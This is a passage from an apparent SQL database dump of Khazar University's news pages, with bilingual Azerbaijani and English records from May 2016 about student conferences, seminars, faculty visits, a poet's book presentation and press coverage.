Əlikram Həsənli Türkiyənin Boğaziçi Universitetində təşkil olunan “<em>ICAMES 2016 – International Cultural and Academic Meeting of Engineering Students</em>” konfransında universiteti layiqincə təmsil etdilər. Bir həftə davam edən konfransda dünyanın 20 müxtəlif ölkəsindən gələn mühəndislik ixtisasının tələbələri öz layihələrini sərgilədilər. Xəzər Universitetinin tələbələri “Hibrid polimer –axının təyin edilməsi üçün slikon qurğular” (<em>“Hybrid Polymer – Silicon Devices for Determination Flow”)</em>&nbsp;mövzusunda çıxış etdilər.'),(1802,1116,'en','Khazar Students Participate in ICAMES International Conference  ','On May 5-12, 2016, Electronics majors Gurban Asgarov, Alavaz Gadimov, Adil Babayev and Alikram Hasanli represented Khazar University in ICAMES 2016 – International Cultural and Academic Meeting of Engineering Students at Bogazici University in Turkey. ','<p>On May 5-12, 2016, Electronics majors Gurban Asgarov, Alavaz Gadimov, Adil Babayev and Alikram Hasanli represented Khazar University in ICAMES 2016 – International Cultural and Academic Meeting of Engineering Students at Bogazici University in Turkey. The conference lasted a week and included an exhibition of engineering student projects from over 20 countries. The Khazar students made a presentation on “Hybrid Polymer – Silicon Devices for Determination Flow.”</p><p>&nbsp;</p>'),(1803,1117,'az','“Əlilliyi olan tələbələrlə 360 dərəcə ünsiyyət” adlı təlim-seminar keçirildi','2016-ci il mayın 13-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində Xəzər Universitetinin tələbələri üçün “Əlilliyi olan tələbələrlə 360 dərəcə ünsiyyət” adlı təlim-seminar keçirildi.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2016-ci il mayın 13-də\r\n“Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində Xəzər\r\nUniversitetinin tələbələri üçün “Əlilliyi olan tələbələrlə 360 dərəcə ünsiyyət”\r\nadlı təlim-seminar keçirildi. Təlim-seminar zamanı Xəzər Universitetinin\r\n“Əlilliyi olan Tələbələr üçün Mərkəz”in könüllüsü Günel Qurbanova (Humanitar və\r\nsosial elmlər fakültəsi) tələbələrə əlillik, əlilliyi olan tələbələrlə etik\r\ndavranış və düzgün ünsiyyət, inkluziv təhsil, “Əlilliyi olan Tələbələr üçün Mərkəz”\r\nvə könüllülük haqqında geniş məlumat verdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Layihə rəhbəri Rima Məmmədova\r\niştirakçılara ESFİDİP layihəsi haqqında geniş məlumat verdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Təlim-seminarda 24 nəfər\r\ntələbə iştirak etdi. Tələbələrlə müxtəlif vorkşoplar və müzakirələr aparıldı.&nbsp;</p>'),(1807,1119,'az','“Xəzər Xəbər”  jurnalının aprell nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2016 - ci il  aprel nömrəsi (350-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.','<p>“Xəzər Xəbər” jurnalının 2016 - ci\r\nil&nbsp; aprel nömrəsi (350-ci nömrə)\r\nXəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p><p><br></p>'),(1810,1120,'az','Xəzər Universiteti Kozminski Universitetində Beynəlxalq Əməkdaşlar Həftəsində iştirak etdi','2016-cı il mayın 9-dan 13-nə qədər Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova Erasmus+ Proqramı çərçivəsində Kozminski Universiteti tərəfindən təşkil olunan Beynəlxalq Əməkdaşlar Həftəsində iştirak etdi. ','<p>2016-cı il mayın 9-dan 13-nə qədər Beynəlxalq Əlaqələr Şöbəsinin\r\ndirektoru Turan Cəfərova Erasmus+ Proqramı çərçivəsində Kozminski Universiteti\r\ntərəfindən təşkil olunan Beynəlxalq<strong> </strong>Əməkdaşlar Həftəsində iştirak etdi.\r\nTədbir Polşanın Varşava şəhərində baş tutdu və Avropadan və digər ölkələrdən\r\nolan çox sayda universitetləri bir araya gətirdi.</p>\r\n<p>Beynəlxalq Əməkdaşlar Həftəsi beynəlmiləlləşdirmə proseslərinin idarə\r\nolunmasına həsr olunmuşdu. Tədbirin məqsədi müxtəlif universitetlərdə beynəlmiləlləşdirmə\r\nprosesinə məsul olan nümayəndələrin ideya və biliklərini paylaşmaq, müzakirələr\r\naparmaq, əlaqələr yaratmaq, mövcud olan əməkdaşlıqları möhkəmləndirmək və yeni əməkdaşlıqlar\r\nyaratmaq üçün bir araya gətirmək idi. Əməkdaşlar Həftəsi beynəlmiləlləşdirmə\r\nprosesi ilə bağlı sınanmış təcrübələr, akkreditasiya, Erasmus+ layihələrinin\r\nuğurla həyata keçirilməsi, beynəlxalq iş təcrübəsi və karyera, universitetdəki\r\ntədbirlərdə beynəlxalq tələbələrin iştirakı və digər məsələlərlə bağlı\r\nmövzuları əhatə etdi.</p>\r\n<p>Tədbirin iştirakçıları arasında Kanada, Çin, Çexiya, Gürcüstan,\r\nHindistan, Yaponiya, Qazaxstan, Malayziya, Meksika, Peru, Rusiya, Sloveniya,\r\nUkrayna və ABŞ universitetlərinin nümayəndələri də var idi.</p>\r\n<p>Tədbirdə iştirak zamanı Turan Cəfərova partnyor universitetlərin\r\nnümayəndələri ilə görüşdü, Erasmus+ Proqramı çərçivəsində əməkdaşlığı müzakirə\r\nedildi və yeni potensial əməkdaşlarla əlaqə quruldu. O, həmçinin, Xəzər\r\nUniversitetində mübadilə proqramında iştirak etmək istəyən Kozminski\r\nUniversitetinin bakalavr tələbəsi ilə də görüşdü.</p>'),(1811,1121,'az','Prezident mükafatçısı şair Kəmaləddin Qədimi ilə görüş keçrildi','2016-cı il mayın 17-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyat departamentinin təşkilatçılığı ilə Azərbyacan Yazıçılar İttifaqının üzvü, “Türk ədəbiyyatına xidmət” (Türkiyə),','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">2016-cı il mayın 17-də Xəzər Universitetinin Azərbaycan\r\ndili və ədəbiyyat departamentinin təşkilatçılığı ilə Azərbyacan Yazıçılar\r\nİttifaqının üzvü, “Türk ədəbiyyatına xidmət” (Türkiyə), Şahmar Əkbərzadə adına\r\nBeynəlxalq Ədəbiyyat mükafatı” (Azərbaycan) lauretları, Prezident mükafatçısı\r\nşair Kəmaləddin Qədimin “Dünya qonaq sevən deyil” şeirlər kitabının təqdimatı\r\nkeçirildi. Tədbiri giriş sözü ilə departamentin rəhbəri dosent Vurğun Əyyub\r\naçaraq, şairin yaradıcılığı, fəaliyyəti haqqında məlumat verdi. Tədbirdə şairin\r\nqələm dostlarından Adilə Nəzər, Telli Pənahqızı, Fərqanə, Mübariz Məsimoğlu, Məmməd\r\nTahir və başqaları Kəmaləddin Qədimin yaradıcılığındakı yüksək keyfiyyətlərdən,\r\nşairin şeirlərindəki poetik yeniliklərdən söhbət açdılar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Daha sonra Kəmaləddin Qədim iştirakçıların çoxsaylı\r\nsuallarını cavablandırdı, şeirlərindən nümunələr oxudu. Sonda şair çap olunmuş\r\nkitablarından Xəzər Universitetinin kitabxanasına və tələbələrə hədiyyə etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Şairlə görüş barədə bəzi saytlarda xəbər\r\nyayınlanmışdır:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\"><a href=\"http://strateq.az/edebiyyat/60787/x%C9%99z%C9%99r-universitetind%C9%99-sair-k%C9%99mal%C9%99ddin-q%C9%99diml%C9%99-gorus.html\">http://strateq.az/edebiyyat/60787/xəzər-universitetində-sair-kəmal%C9%99ddin-qədimlə-gorus.html</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\"><a href=\"http://www.moderator.az/news/137075.html\">http://www.moderator.az/news/137075.html</a>.&nbsp;</p>'),(1812,1121,'en','Meeting with Presidential Laureate Poet Kamaleddin Gadimi','On May 17, 2016, the Khazar University Department of Azerbaijani Language and Literature hosted a meeting with Kamaleddin Gadimi (member of Azerbaijani Writers’ Union as well as winner of the Award for Service to Turkish Literature','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">On May 17, 2016, the\r\nKhazar University Department of Azerbaijani Language and Literature hosted a\r\nmeeting with Kamaleddin Gadimi (member of Azerbaijani Writers’ Union as well as\r\nwinner of the Award for Service to Turkish Literature (Turkey) and the Shahmar\r\nAkbarzadeh International Literature Award (Azerbaijan)) in which he presented\r\nhis poetry anthology “Dünya qonaq sevən deyil” (The World is Not Hospitable).\r\nDepartment Chair Vurghun Eyyub opened the event with information about the\r\npoet’s life and creative activities. Then speeches highly evaluating the\r\nquality and innovation of the poet’s works were made by the poet’s peers Adila\r\nNazar, Telli Panahgizi, Fargana, Mubariz Masimoglu, Mammad Tahir and others. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Then Kamaleddin Gadimi\r\nanswered participants’ questions and read samples of his poetry. He presented\r\nbooks to the Khazar University library and to students. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Information about the\r\nevent was also published on several websites: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\"><a href=\"http://strateq.az/edebiyyat/60787/x%C9%99z%C9%99r-universitetind%C9%99-sair-k%C9%99mal%C9%99ddin-q%C9%99diml%C9%99-gorus.html\">http://strateq.az/edebiyyat/60787/xəzər-universitetində-sair-kəmal%C9%99ddin-qədimlə-gorus.html</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\"><a href=\"http://www.moderator.az/news/137075.html\">http://www.moderator.az/news/137075.html</a>.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">&nbsp;</p>'),(1814,1122,'az','Tələbələr “Azərbaycan multikulturalizm: tarixi, mahiyyəti və əsas xüsusiyyətləri” mövzusunda seminarda iştirak etdilər','2016-cı il mayın 16-da Xəzər Universitetinin Təhsil fakültəsinin tələbələri Tarix və arxeologiya departamentinin müdiri Roza Arazova xanımın rəhbərliyi ilə Milli Azərbaycan Tarix Muzeyində “Azərbaycan multikulturalizm: tarixi, mahiyyəti və əsas xüsusiyyətləri” mövzusunda seminarda iştirak etdilər.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2016-cı il mayın 16-da Xəzər Universitetinin Təhsil\r\nfakültəsinin tələbələri Tarix və arxeologiya departamentinin müdiri Roza\r\nArazova xanımın rəhbərliyi ilə Milli Azərbaycan Tarix Muzeyində “Azərbaycan\r\nmultikulturalizm: tarixi, mahiyyəti və əsas xüsusiyyətləri” mövzusunda\r\nseminarda iştirak etdilər. Tələbələr seminarda Azərbaycanda multikulturalizm\r\nsiyasətinin baxış və inkişafı haqqında məlumat əldə etdilər. Seminarda Azərbaycan\r\nRespublikasının Millətlərarası, Multikulturalizm və Dini Məsələlər üzrə Dövlət\r\nmüşaviri xidmətinin əməkdaşı Rəvan Həsənov “Multikulturalizmin mahiyyəti və\r\nhüquqi əsasları” adlı məruzə ilə çıxış etdi. Həmçinin, seminarda “Xarici əlaqələr\r\nvə elmi-kütləvi işlər şöbəsi”nin əməkdaşları da mövzu üzrə çıxış etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Qeyd edək ki, Azərbaycan Respublikasının Prezidenti\r\nİlham Əliyevin 2016-cı ili Multikulturalizm ili elan etməsi ilə əlaqədar olaraq,\r\nMilli Azərbaycan Tarixi Muzeyində multikulturalizm mövzusunda seminarlar\r\nkeçirilir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">&nbsp;</p>'),(1834,1131,'en','Khazar University’s Trip to Turkey in the Press','On May 20, 2016,  the Xeber365.com news site published a detailed article about the recent visit of a delegation from Khazar University to Turkey.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nMay 20, 2016,&nbsp; the <strong><em>Xeber365.com</em></strong> news site published a\r\ndetailed article about the recent visit of a delegation from Khazar University\r\nto Turkey. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nnews is available (in Azerbaijani) at this link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;<a href=\"http://xeber365.com/article/48/28518/X%C9%99z%C9%99r_universitetinin_kollektivi_y%C3%BCr%C3%BC%C5%9Fd%C9%99_i%C5%9Ftirak_etdi_%E2%80%93_T%C3%BCrkiy%C9%99d%C9%99\">http://xeber365.com/article/48/28518/Xəzər_universitetinin_kollektivi_yürüşdə_iştirak_etdi_–_Türkiyədə</a></p><div><br></div>'),(1835,1130,'en','Khazar University Department Chair Visits UN University','On May 18-19, 2016, Dr. Rovshan Abbasov, Chair of the Department of Geography and the Environment at Khazar University, ','<p>On\r\nMay 18-19, 2016, Dr. Rovshan Abbasov, Chair of the Department of\r\nGeography and the Environment at Khazar University, attended the Expert Group Meeting on Climate Change organized by\r\nUnited Nations University on its Bonn Campus. The meeting included a discussion\r\non the results of a climate change project within the FP7 program and potential\r\npartnership of Eastern Partnership Countries with the European Union in the\r\narea of climate change. </p>\r\n<p>&nbsp;</p>'),(1827,375,'az','Yay semesteri 2018','yay məktəbi','<h3>Yay 2018 semesterində tədris olunan fənlər</h3><p><a href=\"http://khazar.org/files/economics/Summer_sem_2018_Principles_of_Accounting_Vusal_M.pdf\">1. Mühasibat uçotunun əsasları</a></p><p><a href=\"http://khazar.org/files/economics/Summer_sem_2018_Calculus_Chinara_H.pdf\">2. Riyazi analiz</a></p><div><br></div>'),(1825,1128,'en','Diplomat Speaks about Founder’s Article','On May 16, 2016, an article entitled “I gave back love letters that were written to Jeyhun Hajibeyli to his son” was published on the news website Teleqraf.com containing an interview with Ramiz Abutalibov,','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On May 16,\r\n2016, an article entitled “I gave back love letters that were written to Jeyhun\r\nHajibeyli to his son” was published on the news website <strong>Teleqraf.com</strong>\r\ncontaining an interview with Ramiz Abutalibov, a well-known diplomat, civil\r\nservant, and reputable researcher of Azerbaijani politics. In the interview,\r\nAbutalibov mentions an article&nbsp; entitled “The youngest of five” written\r\nabout Mammad Amin Rasulzade by Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The full\r\ntext of the article is available at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.teleqraf.com/news/97599\">http://www.teleqraf.com/news/97599</a></p>'),(1815,1122,'en','Students Participate in “Multiculturalism in Azerbaijan: History, Essence and Main Characteristics” Seminar','On May 16, 2016, students from the Khazar University School of Education participated in the “Multiculturalism in Azerbaijan: History, Essence and Main Characteristics” ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:105%\"\"=\"\">On May 16, 2016, students from the\r\nKhazar University School of Education participated in the “Multiculturalism in\r\nAzerbaijan: History, Essence and Main Characteristics” seminar at the National\r\nAzerbaijan Hıstory Museum with the coordination of Associate Professor Roza\r\nArazova, Head of the Department of History and Archeology. At the seminar,\r\nstudents obtained information about perspectives and developments of\r\nmulticulturalism policy in Azerbaijan. Ravan Hasanov, employee of the\r\nAzerbaijan National State Advisory Service for Cross-cultural, Multicultural\r\nand Religious Issues, gave a lecture on “The Essence and Legal Foundation of\r\nMulticulturalism.” Employees of the Division for International Relations and\r\nAcademic/Public Issues also made presentations at the seminar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:105%\"\"=\"\">The National Azerbaijan Hıstory Museum\r\nheld the seminar as part of an event series because Ilham Aliyev, President of\r\nthe Azerbaijan Republic, announced 2016 as the Year of Multiculturalism in\r\nAzerbaijan.&nbsp;</p>'),(1816,1123,'az','Fakültə üzvləri Türkiyənin Samsun şəhərində Beynəlxalq Konfransda oldular','2016-cı il mayın 3-dən 9-dək Humanitar və sosial elmlər fakültəsinin dekan müavini Mələk Kərimova (doktorant) və baş laborant Validə Kərimova (doktorant) ','<p>2016-cı il mayın 3-dən 9-dək Humanitar və sosial\r\nelmlər fakültəsinin dekan müavini Mələk Kərimova (doktorant) və baş laborant\r\nValidə Kərimova (doktorant) Samsun Şəhər Milli Təhsil Müdirliyi və Samsun Canik\r\nbələdiyyəsinin dəvətilə Samsunda keçirilən 6-cı Beynəlxalq “Psixoloji xidmət və\r\nrəhbərlik: Hədəfə doğru insan” konfransında iştirak etdilər. Yerli\r\niştirakçılarla yanaşı, müxtəlif ölkələrdən gəlmiş konfrans iştirakçılarının\r\nümumi sayı 500 nəfərdən çox idi. </p>\r\n<p>Mələk Kərimova “Azərbaycanda təhsil: Azərbaycanda\r\npsixoloji xidmət və rəhbərlik” mövzusunda çıxış etdi, “Əlil uşaqlar və onların\r\nailələrinə psixoloji xidmət” mövzusunda isə vorkşoplar apardı. VORKSHOPDA ESFİDİP\r\nTempus layihəsinin (Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması) məlumatlarına da istinad edilib.O, konfransda xarici ölkələrin elmi təşkilatının\r\nüzvü də oldu.</p>\r\n<p>Validə Kərimova da Samsun Şəhər Canik Bələdiyyəsinin\r\ndəvətilə təşkil olunan “Hədəfə doğru insan” mövzusunda yer aldı, bir çox çıxış\r\nvə vorkşoplarda uğurla iştirak etdi.</p>\r\n<p>Şonda iştirakçılara<em> </em>sertifikatlar verildi.</p>'),(1817,1123,'en','Faculty Members at International Conference in Samsun, Turkey','On May 3-9, 2016, Melek Karimova (PhD student), Vice Dean of the School of Humanities and Social Sciences, and Valida Karimova (PhD student), Research Assistant for the School,','<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">On\r\nMay 3-9, 2016, Melek Karimova (PhD student), Vice Dean of the School of\r\nHumanities and Social Sciences, and Valida Karimova (PhD student), Research\r\nAssistant for the School, participated in the 6th International “Psychological\r\nCounselling and Guidance: Working through our life goals” Conference held in\r\nSamsun with the invitation of the Samsun City National Education Administration\r\nand the Samsun Canik District Municipality. Along with local participants, the\r\nconference included over 500 participants from various countries. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Melek\r\nKarimova presented a paper on “Education in Azerbaijan: Psychological\r\nCounselling and Guidance in Azerbaijan.” She also led a workshop on “Children\r\nwith Disabilities and Psychological Services to their Families.” The presentations were based on\r\ninformation from the “Establishment of a Foundation for the Integration of\r\nDisabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project. She\r\nalso became a member of a scientific organization for foreign countries at the\r\nconference. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Valida\r\nKarimova was also invited by the Samsun Canik District Municipality to\r\nparticipate under the “Working through our life goals” theme. She successfully\r\nmade presentations and took part in many workshops. </p>\r\n<p style=\"\" text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">At\r\nthe end of the conference, participants were given certificates. </p>\r\n<p>&nbsp;</p>'),(1831,1130,'az',' Xəzər Universitetinin əməkdaşı Birləşmiş Millətlər Universitetində oldu','2016-cı il mayın 18-i və 19-da Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov Birləşmiş Millətlər Universitetinin','<p style=\"\" text-align:justify;text-indent:22.5pt;background:white\"\"=\"\">2016-cı\r\nil mayın 18-i və 19-da Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin\r\nmüdiri Rövşən Abbasov Birləşmiş Millətlər Universitetinin (<em>United Nations University, Bonn</em>) Bonn kampusunda təşkil olunan\r\n“İqlim dəyişmələri üzrə ekspert qrupu görüşündə” &nbsp;<em>(</em><em>Expert\r\nGroup Meeting on Climate Change</em>) iştirak\r\netmişdir. Görüşdə FP7 proqramında iqlim dəyişmələri üzrə olan layihələrin nəticələri\r\nmüzakirə olunmuş və Avropa Birliyi ilə Şərq Tərəfdaşlığı Ölkələri arasında iqlim\r\ndəyişmələri sahəsində mümkün əməkdaşlıqlar müzakirə olunmuşdur.</p>'),(1832,1131,'az','Xəzər Universitetinin Türkiyəyə səfəri mətbuatda','Xeber365.com xəbər saytı Xəzər Universitetinin Türkiyəyə səfəri haqqında geniş məlumat yayınlaşıdır.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><strong><em>Xeber365.com</em></strong>\r\nxəbər saytı Xəzər Universitetinin Türkiyəyə səfəri haqqında geniş məlumat\r\nyayınlaşıdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Xəbəri\r\ntam şəkildə bu link vasitəsilə oxumaq olar: <a href=\"http://xeber365.com/article/48/28518/X%C9%99z%C9%99r_universitetinin_kollektivi_y%C3%BCr%C3%BC%C5%9Fd%C9%99_i%C5%9Ftirak_etdi_%E2%80%93_T%C3%BCrkiy%C9%99d%C9%99\">http://xeber365.com/article/48/28518/Xəzər_universitetinin_kollektivi_yürüşdə_iştirak_etdi_–_Türkiyədə</a></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><br></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1833,1132,'az','“Xəzər”də keçirilən simulasiya mətbuatda','2016-cı il mayın 18-də Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamenti ilə Humanitar Tədqiqatlar Cəmiyyətinin “Konfliktologiya” ','<p>2016-cı il mayın 18-də Xəzər\r\nUniversitetinin Siyasi elm və beynəlxalq münasibətlər departamenti ilə\r\nHumanitar Tədqiqatlar Cəmiyyətinin “Konfliktologiya” ixtisas fənni əsasında “Madrid\r\nPrinsiplərinin müzakirəsi zamanı qeyri-müəyyən məqamların aydınlaşdırılması\r\nüçün əsas məsələlər” adlı birlikdə keçirdiyi simulasiya oyunu haqqında <strong><em>azpress.az</em></strong>\r\nxəbər saytı xəbər yayınlamışdır.</p>\r\n<p>Xəbəri tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=53478\">http://azpress.az/index.php?lang=az§ionid=news&amp;id=53478</a></p>'),(1836,1132,'en','Simulation at Khazar in the Press','On May 18, 2016, Khazar University’s Department of Political Science and International Relations began a simulation game on “Madrid Principles in Resolving the Mountainous Karabakh Conflict”','<p>On May 18, 2016, Khazar University’s\r\nDepartment of Political Science and International Relations began a simulation\r\ngame on “Madrid Principles in Resolving the Mountainous Karabakh Conflict” in\r\nits Conflict Studies class. Information about the simulation was published on\r\nthe <strong><em>azpress.az</em></strong> news site and is available (in Azerbaijani) at the\r\nfollowing link: <a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=53478\">http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=53478</a></p>'),(1837,1133,'en','Jean Monnet Seminar on Integration Processes in Southeastern Asia and Asia Pacific ','On May 20, 2016, Khazar University\'s Department of Political Science and International Relations hosted H. E. Roslan Abdul Rahman,','<p>On May 20, 2016, Khazar University\'s Department of Political\r\nScience and International Relations hosted H. E. Roslan Abdul Rahman,\r\nAmbassador of Malaysia to Azerbaijan, to discuss the integration processes in\r\nSoutheastern Asia and Asia Pacific from the Malaysian perspective. He provided\r\na detailed background on Malaysia\'s foreign policy in the wider neighborhood\r\nand briefed the students about the cooperation with both the Association of\r\nSoutheast Asian Nations (ASEAN) and the Asia-Pacific Economic Cooperation.\r\nAfter the seminar, Mr. Rahman had a meeting with the President of Khazar\r\nUniversity, Dr. Hassan Niknafs.</p>'),(1842,1136,'az','“Elm üçbucağı”nda bu dəfə “Paris universiteti və Avropada universitetlərin inkişaf tarixi”ndən söhbət açıldı','2016-cı il mayın 22-də İctimai TV-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Elm üçbucağı” proqramının növbəti verilişi oldu.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı\r\nil mayın 22-də İctimai TV-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlının “Elm üçbucağı” proqramının növbəti\r\nverilişi oldu. Veriliş təkrar\r\nolaraq “Paris universiteti və Avropada universitetlərin inkişaf tarixi” mövzusuna həsr olunmuşdu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Verilişdə universitetin əməkdaşları da dinləyici\r\nqismində iştirak edirdilər.</p>'),(1843,1136,'en','European University History Lecture on Triangle of Science Show','On May 22, 2016, the “Elm üçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was broadcast on Public TV.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On May 22, 2016, the “Elm\r\nüçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli, the\r\nfounder of Khazar University and Chairman of its Board of Directors and\r\nTrustees, was broadcast on Public TV. The broadcast was a repeat of the lecture\r\non “Development History of Paris University and European Universities.” Khazar\r\nUniversity faculty and staff members also participated as audience members\r\nduring the show. </p>\r\n<p><strong>&nbsp;</strong></p>'),(1844,1137,'en','European University History Lecture on Triangle of Science Show','On May 22, 2016, the “Elm üçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli,','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;background:white\"\"=\"\">On May 22, 2016,\r\nthe “Elm üçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli,\r\nthe founder of Khazar University and Chairman of its Board of Directors and\r\nTrustees, was broadcast on Public TV. The broadcast was a repeat showing of the\r\nMay 1<sup>st</sup> lecture on “Development History of Paris University and\r\nEuropean Universities.” Khazar University faculty and staff members also\r\nparticipated as audience members during the show.&nbsp;</p>'),(1845,1137,'az','“Elm üçbucağı” proqrqmının verilişi təkrar nümayiş etdirildi','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının İctimai TV-də “Elm üçbucağı”','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;background:white\"\"=\"\">Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlının İctimai TV-də “Elm üçbucağı” proqramının&nbsp;&nbsp; 2016-cı\r\nil mayın 1-də “Paris universiteti və Avropada universitetlərin inkişaf tarixi”\r\nmövzusunda yayımlanmış növbəti verilişi mayın 22-də təkrar nümayiş\r\netdirilmişdir.</p>'),(1850,1140,'az','Qala Arxeoloji-Etnoqrafik Muzey kompleksinə səfər','2016-ci il mayın 22-də Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin assistenti Günel İsmayılovanın təşəbbüsü ilə Polşadan gəlmiş sərbəst tədqiqatçı Julia Krajcarz ilə Qala kəndində yerləşən “Qala Arxeoloji-Etnoqrafik Muzey kompleksinə” səfər edilmişdir.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-ci\r\nil mayın 22-də Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin\r\nassistenti Günel İsmayılovanın təşəbbüsü ilə Polşadan gəlmiş sərbəst tədqiqatçı\r\nJulia Krajcarz ilə Qala kəndində yerləşən “Qala Arxeoloji-Etnoqrafik Muzey\r\nkompleksinə” səfər edilmişdir. Əvvəlcə, Qala qəsri ziyarət olundu. Daha sonra\r\nmuzeydə yerləşən müxtəlif tarixi ekspanatlara, gil qablara, daş tikili\r\nqalıqlarına, “Tacir evi”nə baş çəkildi. Muzey gəzintisi zamanı yerli sakilərdən\r\nQala kəndinin tarixi və mədəniyyəti haqqında da məlumat toplanıldı. </p>\r\n<p style=\"\" 